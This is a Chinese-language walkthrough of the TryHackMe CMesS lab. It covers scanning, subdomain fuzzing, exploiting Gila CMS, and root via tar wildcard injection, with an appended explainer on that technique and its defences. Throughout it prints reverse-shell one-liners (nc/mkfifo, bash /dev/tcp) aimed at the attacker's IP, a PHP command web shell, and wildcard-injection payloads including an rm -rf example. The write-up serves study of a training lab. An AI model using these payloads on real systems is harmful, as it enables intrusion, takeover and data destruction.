---
# System prepended metadata

title: THM CMesS Writeup
tags: [LineNum, wfuzz, mysql, searchsploit, Wildcard Injection, php-reverse-shell, tar, Crontab, bcrypt]

---

## 概述
來源: tryhackme
題目: CMesS
難度: medium
網址: https://tryhackme.com/room/cmess
靶機 `10.10.180.27`

### 學習目標
「僅供學習參考,請勿用於非法用途」
- nmap 掃描port
- gobuster 掃描路徑
- 新增 hosts 透過 `domain name` 訪問網站
- wfuzz 掃描子網域
- Gila CMS 後台操作
- searchsploit 漏洞掃描與利用
- 製作 php-reverse-shell.php
    - 用 url 下 cmd 的 php
    - 直接 reverse shell 的 php
- nc 反射 shell
- mysql 操作
- bcrypt 雜湊
- LineNum 使用
- su 登入
- tar wildcard injection 漏洞利用
- SUID bit 的理解與利用
- Crontab 提權

## 基本掃描

### nmap
```bash
nmap -sV -sC -v 10.10.180.27 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Gila CMS
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

### gobuster
```bash
└─$ gobuster dir -u http://10.10.180.27 -w /usr/share/seclists/Discovery/Web-Content/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.180.27
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/0                    (Status: 200) [Size: 3860]
/01                   (Status: 200) [Size: 4090]
/1                    (Status: 200) [Size: 4090]
/1x1                  (Status: 200) [Size: 4090]
/About                (Status: 200) [Size: 3345]
/Index                (Status: 200) [Size: 3860]
/Search               (Status: 200) [Size: 3860]
/about                (Status: 200) [Size: 3359]
/admin                (Status: 200) [Size: 1583]
/api                  (Status: 200) [Size: 0]
/api/experiments      (Status: 200) [Size: 0]
/api/experiments/configurations (Status: 200) [Size: 0]
/assets               (Status: 301) [Size: 324] [--> http://10.10.180.27/assets/?url=assets]
/author               (Status: 200) [Size: 3599]
/blog                 (Status: 200) [Size: 3860]
/category             (Status: 200) [Size: 3871]
/cm                   (Status: 500) [Size: 0]
/feed                 (Status: 200) [Size: 735]
/fm                   (Status: 200) [Size: 0]
/index                (Status: 200) [Size: 3860]
/lib                  (Status: 301) [Size: 318] [--> http://10.10.180.27/lib/?url=lib]                                                                  
/log                  (Status: 301) [Size: 318] [--> http://10.10.180.27/log/?url=log]                                                                  
/login                (Status: 200) [Size: 1583]
/robots.txt           (Status: 200) [Size: 65]
/search               (Status: 200) [Size: 3860]
/server-status        (Status: 403) [Size: 277]
/sites                (Status: 301) [Size: 322] [--> http://10.10.180.27/sites/?url=sites]                                                              
/src                  (Status: 301) [Size: 318] [--> http://10.10.180.27/src/?url=src]                                                                  
/tag                  (Status: 200) [Size: 3883]
/tags                 (Status: 200) [Size: 3145]
/themes               (Status: 301) [Size: 324] [--> http://10.10.180.27/themes/?url=themes]                                                            
/tmp                  (Status: 301) [Size: 318] [--> http://10.10.180.27/tmp/?url=tmp]                                                                  
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
===============================================================

```

之後就卡關了

得到幾個線索
網站是 Gila CMS
所以先查了 searchsploit 
雖然不知道版本 想說就先試試
```bash
└─$ searchsploit gila cms                    
------------------------------------------ ---------------------------------
 Exploit Title                            |  Path
------------------------------------------ ---------------------------------
Gila CMS 1.10.9 - Remote Code Execution ( | php/webapps/51569.py
Gila CMS 1.11.8 - 'query' SQL Injection   | php/webapps/48590.py
Gila CMS 1.9.1 - Cross-Site Scripting     | php/webapps/46557.txt
Gila CMS 2.0.0 - Remote Code Execution (U | php/webapps/49412.py
Gila CMS < 1.11.1 - Local File Inclusion  | multiple/webapps/47407.txt
------------------------------------------ ---------------------------------
Shellcodes: No Results
```
先確認 POC 內容
```bash
└─$ searchsploit -x php/webapps/51569.py  

# php/webapps/51569.py
target_url = input("Enter the target login URL (e.g., http://example.com/ad
min/): ")

└─$ searchsploit -x php/webapps/48590.py

webpath = "/gila-1.11.8/admin/sql?query="
query1 = "SELECT id FROM user LIMIT 0,1 INTO OUTFILE "
localpath = "\'C://xampp//htdocs//"
shellname = "webshell.php\' "
query2 = "LINES TERMINATED BY "
```

結果發現都需要 `/admin` 才可執行
但 `/admin` 要登入
不然就是根本沒那路徑ＱＱ

之後找了 msfconsole 也都沒漏洞
```!=
msf6 > search exploit gila cms
[-] No results from search
msf6 > search gila cms
[-] No results from search
msf6 > search gilacms
[-] No results from search
msf6 > search cms
```

其他路徑也都進去訪問了一遍都沒啥料
不然就是都需要登入

## 掃描子網域
後來看了其他大神的 [writeup](https://dregghunshot.github.io/html/ctf/alltime/tryhackme/cmess/index.html) 
才發現有個新招 `掃描子網域` < 對我來說啦哈哈 之前沒用過
難怪官方一開始就提醒要設 hosts
```bash                         
┌──(kali㉿kali)-[~/tryhackme/cmess]
└─$ nano /etc/hosts                  
    
┌──(kali㉿kali)-[~/tryhackme/cmess]
└─$ cat /etc/hosts
...
10.10.180.27    cmess.thm
```
第一次掃描子網域 問了 AI 給了個範本
```bash
└─$ wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://cmess.thm/" -H "Host: FUZZ.cmess.thm" --hl 107
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://cmess.thm/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload    
=====================================================================

000000019:   200        30 L     104 W      934 Ch      "{sub domain}"      


Total time: 294.7617
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 16.92553
```

但不懂原理 還是確認一下
先看個官方說明
```bash
└─$ wfuzz --help
    -c                        : Output with colors
    -f filename,printer       : Store results in the output file using the specified printer (raw printer if omitted).
    -u url                    : Specify a URL for the request.
    -w wordlist               : Specify a wordlist file (alias for -z file,wordlist).
    -H header                 : Use header (ex:"Cookie:id=1312321&user=FUZZ"). Repeat option for various headers.
    --hc/hl/hw/hh N[,N]+      : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
```
不懂的話再來個 AI 補充

> 1.  **`-c`**: 带有颜色输出，使结果更容易阅读。
> 2.  **`-f sub-fighter`**: 将输出保存到名为 `sub-fighter` 的文件中。
> 3.  **`-w /path/to/wordlist`**: 指定用于暴力破解的**字典文件**（或称**词表**），wfuzz 会用字典文件中的每一个词替换 URL 或 Header 中的 `FUZZ` 标记。
> 4.  **`-u 'http://cmess.thm'`**: 指定目标 URL。
> 5.  **`-H "Host: FUZZ.cmess.thm"`**: 指定 HTTP Header。这里的关键是 `FUZZ` 标记，wfuzz 会使用字典中的词逐一替换它，来尝试不同的 **Host** 值。
> 5.  **`--hl 107`**: "hide lines" 的縮寫,隱藏的是 HTTP 響應的行數, 完整響應包含 headers + body 的總行數。常用來過濾掉固定的錯誤頁面（例如大量的 404 頁面），只顯示行數不同的「有趣結果」。

也給大家看一下不加 `--hl 107` 會怎樣
```bash
=====================================================================
ID           Response   Lines    Word       Chars       Payload    
=====================================================================

000000031:   200        107 L    290 W      3886 Ch     "mobile"   
000000001:   200        107 L    290 W      3877 Ch     "www"      
000000048:   200        107 L    290 W      3886 Ch     "portal"   
000000047:   200        107 L    290 W      3880 Ch     "news"     
000000046:   200        107 L    290 W      3877 Ch     "img"      
000000007:   200        107 L    290 W      3889 Ch     "webdisk"  
000000049:   200        107 L    290 W      3886 Ch     "server"   
000000015:   200        107 L    290 W      3874 Ch     "ns"       
000000050:   200        107 L    290 W      3880 Ch     "wiki"     
000000003:   200        107 L    290 W      3877 Ch     "ftp"      
000000045:   200        107 L    290 W      3880 Ch     "www1"     
...
```
沒錯刷一整排 難怪大神 [writeup](https://dregghunshot.github.io/html/ctf/alltime/tryhackme/cmess/index.html) 內有加 `--hl 107`

總之我們得到了一個子網域
但這邊很好笑
我直接訪問了 `{sub domain}.cmess.thm/`
但卻都沒辦法訪問
後來看了大神的 writeup 才被自己蠢到哈哈
要再把網域加入 hosts 內才可用啦
```bash
10.10.180.27    cmess.thm {sub domain}.cmess.thm
```

## 登入網站
加入 hosts 後
訪問子網域直接找到一組帳號密碼
![image](https://hackmd.io/_uploads/rymyeouAle.png)

馬上來去登登看 `/admin`
果然成功登入 也發現 Gila CMS `version 1.10.9` 版本
![image](https://hackmd.io/_uploads/SkrixiuCex.png)

## 取得 shell

### searchsploit 
馬上把剛剛的 searchsploit 再找出來
監聽一下 nc
取得了 shell
```bash
└─$ python3 51569.py

 ██████╗ ██╗██╗      █████╗      ██████╗███╗   ███╗███████╗    ██████╗  ██████╗███████╗                                                                 
██╔════╝ ██║██║     ██╔══██╗    ██╔════╝████╗ ████║██╔════╝    ██╔══██╗██╔════╝██╔════╝                                                                 
██║  ███╗██║██║     ███████║    ██║     ██╔████╔██║███████╗    ██████╔╝██║     █████╗                                                                   
██║   ██║██║██║     ██╔══██║    ██║     ██║╚██╔╝██║╚════██║    ██╔══██╗██║     ██╔══╝                                                                   
╚██████╔╝██║███████╗██║  ██║    ╚██████╗██║ ╚═╝ ██║███████║    ██║  ██║╚██████╗███████╗                                                                 
 ╚═════╝ ╚═╝╚══════╝╚═╝  ╚═╝     ╚═════╝╚═╝     ╚═╝╚══════╝    ╚═╝  ╚═╝ ╚═════╝╚══════╝                                                                 
                                                                            
                              by Unknown_Exploit                            
                                                                            
Enter the target login URL (e.g., http://example.com/admin/): http://cmess.thm/admin
Enter the email: andre@cmess.thm
Enter the password: KPFTN_f2yxe%
Enter the local IP (LHOST): 10.4.11.38
Enter the local port (LPORT): 1234
File uploaded successfully.
Payload executed successfully.
```
```bash
└─$ nc -nvlp 1234  
listening on [any] 1234 ...
connect to [10.4.11.38] from (UNKNOWN) [10.10.180.27] 33960
bash: cannot set terminal process group (724): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cmess:/var/www/html/tmp$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### 手動上傳檔案

了解了剛剛的 POC 發現是可以透過上傳檔案反射 shell

先上傳了一個執行 cmd 的 `.php`
透過 url 下 cmd 觸發 reverse shell 
```python
# cmd 內容
# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f
payload = f"rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+{lhost}+{lport}+>/tmp/f"
# 訪問檔案的 url
payload_url = f"{target_url_2}tmp/shell.php7?cmd={payload}"
# shell.php7 檔案內容
Content-Disposition: form-data; name="uploadfiles"; filename="shell.php7"
Content-Type: application/x-php

<?php system($_GET["cmd"]);?>
```
所以想說來自己手動看看

#### payload 1

於是我先找到訪問檔案的地方手動觸發看看剛剛上傳的 `shell.php7`

```bash
http://cmess.thm/tmp/shell.php7?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2%3E%261|nc+10.4.11.38+1234+%3E/tmp/f
```
> `%3E` = `>` 的 url encoding

果真也能成功 nc 反射 shell


#### payload 2
玩上癮了
剛剛的檔案要下 cmd 想說用之前的檔案看能不能不下 cmd 直接反射
之前都是使用 `/usr/share/webshells/php/php-reverse-shell.php` 調整 local ip 
來試試吧 訪問 
```bash
http://cmess.thm/tmp/php-reverse-shell.php
```
沒想到失敗了
後來問 AI 說可能 server 有排除 `.php` 
改成 `.php5` 或 `.php7` 試試看
後來想想的確 原本的 POC 就是使用 `.php7`
而我調整成 `.php5` 試試
```bash
http://cmess.thm/tmp/php-reverse-shell.php5
```
沒想到也成功拿到 shell 哈哈 


#### payload 3
最後我又試了另一個從原本的 POC 修改 cmd 的 payload
```bash
# 修改前
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f
# 修改後
bash -i >& /dev/tcp/10.4.11.38/1234 0>&1
```
```bash
http://cmess.thm/tmp/shell.php7?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.4.11.38/1234+0%3E%261%27
```
也成功 nc 反射 shell


## mysql
拿到 shell 後
先在附近路徑 ls 看看有啥檔案
發現了 `config.php`
看到疑似 db 的 root 帳密
```bash
www-data@cmess:/var/www/html$ cat config.php
cat config.php
<?php

$GLOBALS['config'] = array (
  'db' => 
  array (
    'host' => 'localhost',
    'user' => 'root',
    'pass' => 'r0...rd',
    'name' => 'gila',
  ),
  'permissions' => 
...
```
但我不知道這是哪種 database
問了 AI

> 雖然配置檔中沒有直接寫出資料庫的類型（例如 type 或 driver），但從以下資訊可以判斷它是 MySQL 或其分支 MariaDB：
> 
> 1. 使用者名稱 (user): 配置中使用的使用者是 'root'，這是 MySQL 資料庫的預設管理員帳號。
> 
> 2. 變數名稱 (host, user, pass, name): 這是 PHP 應用程式連線 MySQLi 或 PDO (MySQL) 驅動時，標準使用的變數名稱。
> 
> 3. 環境：Gila CMS 是一個 PHP 內容管理系統，而 PHP 生態系中最主流、最常見的資料庫就是 MySQL 或 MariaDB。

所以試著用 mysql 登入看看
```bash
www-data@cmess:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: r0otus3rpassw0rd

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 43235
Server version: 5.7.29-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

登入成功想說要來大展身手了
```bash
mysql> show tables;  
show tables;
+----------------+
| Tables_in_gila |
+----------------+
| option         |
| page           |
| post           |
| postcategory   |
| postmeta       |
| user           |
| usermeta       |
| userrole       |
| widget         |
+----------------+
9 rows in set (0.00 sec)

mysql> select * from user
select * from user
    -> ;
;
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
| id | username | email           | pass                                                         | active | reset_code | created             | updated             |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
|  1 | andre    | andre@cmess.thm | $2y$10$uNAA0MEze02jd.qU9tnYLu43bNo9nujltElcWEAcifNeZdk4bEsBa |      1 |            | 2020-02-06 18:20:34 | 2020-02-06 18:20:34 |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
1 row in set (0.00 sec)

mysql> exit

```
這邊看到就傻住了
了解一下這密碼是什麼加密

> ```
> $2y$10$uNAA0MEze02jd.qU9tnYLu43bNo9nujltElcWEAcifNeZdk4bEsBa
> ```
> 
> 是 **bcrypt 雜湊（bcrypt hash）**。
> 
> bcrypt 的格式通常是：
> 
> ```
> $2y$<cost>$<22字元salt><31字元hash>
> ```
> 
> 讓我們拆解一下這一串：
> 
> | 部分                                | 說明                                                   |
> | --------------------------------- | ---------------------------------------------------- |
> | `$2y$`                            | 演算法版本（bcrypt）。<br>常見版本還有 `$2a$`、`$2b$`。              |
> | `10`                              | cost factor（運算強度），代表要做 2¹⁰ = 1024 次加密迭代。數字越大越安全、但越慢。 |
> | `uNAA0MEze02jd.qU9tnYLu`          | 22 字元的 **salt**，用來防止相同密碼產生相同 hash。                   |
> | `43bNo9nujltElcWEAcifNeZdk4bEsBa` | 真正的 bcrypt 雜湊結果（31 字元）。                              |

> * **不可逆**：bcrypt 是雜湊（hash），不是加密（encryption），無法「解密」回原始密碼。
> * **安全性高**：內建 salt、防暴力破解設計。
> * **常用語言支援**：
> 
>   * Python → `bcrypt` 模組
>   * PHP → `password_hash()`
>   * Java → `BCrypt`（Spring Security 內建）
> * 要注意：
> bcrypt 雜湊值無法直接反推回密碼，只能用「嘗試比對」方式驗證。

看來涼了 這應該可以算是我的第一個🐰洞？！
先試試其他方式好了

## 取得 user shell
後來跟大神一樣 使用 `LineNum`

### 靶機取得 LineNum
先在有 LineNum 的地方開啟 http.server
然後再靶機 wget 下載 即可
```bash
┌──(kali㉿kali)-[~/lin_shell]
└─$ ls
LinEnum.sh  linpeas.sh
                                                                            
┌──(kali㉿kali)-[~/lin_shell]
└─$ python3 -m http.server 666
Serving HTTP on 0.0.0.0 port 666 (http://0.0.0.0:666/) ...
10.10.180.27 - - [24/Oct/2025 13:22:34] "GET /LinEnum.sh HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
```
```bash
www-data@cmess:/var/www/html/tmp$ wget http://10.4.11.38:666/LinEnum.sh

wget http://10.4.11.38:666/LinEnum.sh
--2025-10-23 22:22:33--  http://10.4.11.38:666/LinEnum.sh
Connecting to 10.4.11.38:666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

     0K .......... .......... .......... .......... .....     100% 37.9K=1.2s

2025-10-23 22:22:36 (37.9 KB/s) - 'LinEnum.sh' saved [46631/46631]

www-data@cmess:/var/www/html/tmp$ 
www-data@cmess:/var/www/html/tmp$ ls
ls
LinEnum.sh
```
說實話跑出來的東西太多了
我不到哪邊有可利用的漏洞
問了 AI 整理兩個區塊

首先是 password 洩漏
```bash
[-] Location and Permissions (if accessible) of .bak file(s):
-rw-r--r-- 1 root root 3020 Feb  6  2020 /etc/apt/sources.bak
-rwxrwxrwx 1 root root 36 Feb  6  2020 /opt/.password.bak
```
查看此 `.bak` 直接拿到 使用者帳密
```bash
www-data@cmess:/var/www/html/tmp$ cat /opt/.password.bak
cat /opt/.password.bak
andres backup password
UQ...P6
```

這裡有個小陷阱
使用者名稱要注意

```bash
www-data@cmess:/var/www/html/tmp$ su andres
su andres
su: must be run from a terminal
www-data@cmess:/var/www/html/tmp$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<l/tmp$ python3 -c 'import pty; pty.spawn("/bin/bash                        ")'
www-data@cmess:/var/www/html/tmp$ su andres
su andres
No passwd entry for user 'andres'
www-data@cmess:/var/www/html/tmp$ su andre
su andre
Password: UQ...P6                                 

andre@cmess:/var/www/html/tmp$ 
```
終於登入成功了

> ### 使用者名稱不一致的問題
> 
> 備份檔案顯示 `andres`，但系統實際使用者是 `andre`。
> 這可能是：
> 1. 管理員的打字錯誤
> 2. CTF 設計的小陷阱
> 3. 使用者名稱曾被修改但備份未更新
> 
> **教訓**: 在滲透測試中，找到的資訊不一定完全準確，
> 需要交叉驗證。應該先用 `ls /home/` 或 `cat /etc/passwd` 
> 確認系統中實際存在的使用者。

## get root shell
再來是 `LineNum` 的第二部分
```bash
[-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
```

發現此 `/home/andre/backup` 每兩分鐘會用 `tar` 備份一次

透過 
https://gtfobins.github.io/gtfobins/tar/
以及 AI 了解一下 tar 如何利用 wildcard injection 提權 < 後面的章節做補充

簡單說明
在目錄下建立兩3個檔案 `shell.sh` `--checkpoint=1` `--checkpoint-action=exec=sh shell.sh`
> 因為 Linux 允許檔案名包含幾乎任何字符，包括 `-` 和 `--`
```bash
tar -zcf /tmp/andre_backup.tar.gz *
```
因為 wildcard injection 漏洞:
1. Shell 在處理 `*` 時會先展開為目錄中的所有檔名
2. tar 按**字母順序**讀取參數
3. `--` 開頭的檔名會被 tar 誤認為是命令選項
4. 因此 tar 實際執行時會把這些「特殊檔名」當作參數處理

這就是為什麼我們要建立名為 `--checkpoint=1` 的檔案,
而不是直接執行 `tar --checkpoint=1 ...`
最終指令會變成這樣
```bash
tar -zcf /tmp/andre_backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh note
```

導致以下提權成功 並取得 root.txt
```bash
andre@cmess:~/backup$ ls
ls
note
andre@cmess:~/backup$ echo 'chmod +s /bin/bash' > shell.sh
echo 'chmod +s /bin/bash' > shell.sh
andre@cmess:~/backup$ ls -la shell.sh
ls -la shell.sh
-rw-rw-r-- 1 andre andre 19 Oct 23 23:04 shell.sh
andre@cmess:~/backup$ chmod +x shell.sh
chmod +x shell.sh
andre@cmess:~/backup$ ls -la shell.sh
ls -la shell.sh
-rwxrwxr-x 1 andre andre 19 Oct 23 23:04 shell.sh
andre@cmess:~/backup$ ls
ls
note  shell.sh
andre@cmess:~/backup$ echo "" > "--checkpoint=1"
echo "" > "--checkpoint=1"
andre@cmess:~/backup$ ls
ls
--checkpoint=1  note  shell.sh
andre@cmess:~/backup$ echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint-action=exec=sh shell.sh"
andre@cmess:~/backup$ ls
ls
--checkpoint=1  --checkpoint-action=exec=sh shell.sh  note  shell.sh
andre@cmess:~/backup$ ls -la /bin/bash
ls -la /bin/bash
-rwxr-xr-x 1 root root 1037528 May 16  2017 /bin/bash
# 等待 crontab 自動執行 (最多 2 分鐘)
# 可以用 watch -n 1 'ls -la /bin/bash' 監控權限變化
andre@cmess:~/backup$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-sr-x 1 root root 1037528 May 16  2017 /bin/bash # 注意 s 權限出現了!
andre@cmess:~/backup$ /bin/bash -p
/bin/bash -p
bash-4.3# id
id
uid=1000(andre) gid=1000(andre) euid=0(root) egid=0(root) groups=0(root),1000(andre)
bash-4.3# cat /root/root.txt
cat /root/root.txt
thm{9f...a2}
bash-4.3# 
```

## AI補充說明：Wildcard Injection 深度解析

### 什麼是 Wildcard Injection?

Wildcard Injection 是一種利用 shell 通配符（`*`, `?` 等）展開機制來注入命令參數的攻擊技術。當程式使用通配符處理檔案時，攻擊者可以透過創建特殊命名的檔案來注入惡意參數。

### 攻擊原理

#### Shell 通配符展開順序

當執行以下命令時：
```bash
tar -zcf backup.tar.gz *
```

Shell 會先將 `*` 展開成當前目錄的所有檔案名，然後才傳遞給 tar 命令。

假設目錄中有以下檔案：
```
file1.txt
file2.txt
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
```

Shell 展開後實際執行的命令為：
```bash
tar -zcf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1.txt file2.txt
```

**關鍵點：檔案名被當作了命令列參數！**

#### 為什麼會產生漏洞？

**1. Tar 的 checkpoint 功能**

Tar 提供了合法的 checkpoint 功能：
```bash
tar --checkpoint=N --checkpoint-action=ACTION
```

- `--checkpoint=1`：每處理 1 個檔案就執行一次 checkpoint
- `--checkpoint-action=exec=COMMAND`：在 checkpoint 時執行指定命令

**2. Linux 檔案名的特性**

Linux 允許檔案名包含幾乎任何字符，包括 `-` 和 `--`：
```bash
touch "--checkpoint=1"  # 這是合法的檔案名
touch "--help"          # 這也是合法的檔案名
```

### 攻擊流程分析

#### Step 1: 建立惡意腳本
```bash
echo 'chmod +s /bin/bash' > shell.sh
chmod +x shell.sh
```

這個腳本會將 `/bin/bash` 設置 SUID 位元，使其以擁有者（root）權限執行。

#### Step 2: 建立偽裝成參數的檔案
```bash
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
```

這些檔案的**檔案名本身就是參數**，內容並不重要。

#### Step 3: 等待 Cron 執行

當 root 的 cron 任務執行時：
```bash
cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
```

通配符 `*` 會展開為：
```bash
tar -zcf /tmp/andre_backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh
```

Tar 在處理檔案時會：
1. 辨識 `--checkpoint=1` 和 `--checkpoint-action=exec=sh shell.sh` 參數
2. 每處理一個檔案就觸發 checkpoint
3. **以 root 權限執行** `sh shell.sh`
4. `shell.sh` 將 `/bin/bash` 設置 SUID 位元

#### Step 4: 提權
```bash
/bin/bash -p
```

- `-p` 參數啟用特權模式（privileged mode）
- 在 SUID 模式下保持有效 UID
- 成功獲得 root shell

### 完整攻擊流程圖
```
┌─────────────────────────────────────────────────────────┐
│ 1. 攻擊者 (andre) 建立檔案                              │
│    /home/andre/backup/                                  │
│    ├── shell.sh                                         │
│    ├── --checkpoint=1                                   │
│    └── --checkpoint-action=exec=sh shell.sh             │
└─────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────┐
│ 2. Cron 任務觸發 (每 2 分鐘)                            │
│    root 執行: tar -zcf /tmp/backup.tar.gz *             │
└─────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────┐
│ 3. Shell 展開通配符                                      │
│    tar -zcf /tmp/backup.tar.gz \                        │
│        --checkpoint=1 \                                 │
│        --checkpoint-action=exec=sh shell.sh \           │
│        shell.sh                                         │
└─────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────┐
│ 4. Tar 執行並觸發 checkpoint                            │
│    → 以 root 權限執行: sh shell.sh                      │
└─────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────┐
│ 5. shell.sh 執行: chmod +s /bin/bash                    │
│    /bin/bash 獲得 SUID 位元                             │
│    -rwsr-sr-x 1 root root ... /bin/bash                 │
│     ↑ SUID 位元                                         │
└─────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────┐
│ 6. 攻擊者執行: /bin/bash -p                             │
│    → 成功獲得 root shell！                              │
└─────────────────────────────────────────────────────────┘
```

### 其他受影響的命令

任何使用通配符的命令都可能受此影響：

**rsync 範例：**
```bash
# 原始命令
rsync -av * user@backup:/dest/

# 攻擊
touch -- "-e sh payload.sh"
# 展開成: rsync -av -e sh payload.sh ...
```

**chown 範例：**
```bash
# 原始命令
chown user:user *

# 攻擊
touch -- "--reference=/etc/shadow"
# 可能導致權限配置錯誤
```

**rm 範例（極度危險）：**
```bash
# 原始命令
rm *

# 攻擊
touch -- "-rf"
touch -- "/"
# 可能展開成: rm -rf / （災難性後果！）
```

### 防禦措施

#### 方法 1：使用 `./` 前綴
```bash
# ❌ 危險
tar -zcf backup.tar.gz *

# ✅ 安全
tar -zcf backup.tar.gz ./*
```
`./` 前綴使檔案名展開為 `./--checkpoint=1`，不會被識別為參數。

#### 方法 2：使用 `--` 分隔符
```bash
# ✅ 安全
tar -zcf backup.tar.gz -- *
```
`--` 告訴命令：之後的所有內容都是檔案名，不是選項。

#### 方法 3：明確指定檔案
```bash
# ✅ 安全
find /home/andre/backup -type f -exec tar -zcf backup.tar.gz {} +
```

#### 方法 4：限制目錄權限
```bash
# 只允許 root 寫入
chmod 755 /home/andre/backup
chown root:root /home/andre/backup
```

### 漏洞成功的三個條件

Wildcard Injection 攻擊成功需要同時滿足：

1. ✅ 命令使用通配符（`*`、`?` 等）
2. ✅ 攻擊者可以在目標目錄建立檔案
3. ✅ 命令接受可執行程式碼的參數

**CMesS 靶機完全符合以上條件：**
- ✅ 使用 `tar ... *` 通配符
- ✅ andre 使用者可寫入 `/home/andre/backup`
- ✅ tar 的 `--checkpoint-action=exec` 可執行命令
- ✅ **以 root 身份執行 cron 任務**

### 真實世界案例

- **2014 年**:DefenseCode 研究員 Leon Juranic 發表論文 "Back To The Future: Unix Wildcards Gone Wild",詳細記錄此攻擊技術
- **CTF 競賽**:常見的權限提升技巧
- **真實環境**:許多生產環境的備份腳本存在此問題

### 實際測試

可以在安全環境中測試此漏洞：
```bash
# 建立測試目錄
mkdir wildcard-test && cd wildcard-test

# 建立測試檔案
echo "echo EXPLOITED" > test.sh
chmod +x test.sh
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh test.sh"

# 執行 tar
tar -czf backup.tar.gz *

# 會看到 "EXPLOITED" 輸出，證明命令被執行！
```

---

**總結：** Wildcard Injection 是一個嚴重的安全漏洞，它利用了 shell 通配符展開和 Linux 檔案系統的特性。在編寫自動化腳本時，應該始終避免直接使用通配符，或採用適當的防護措施。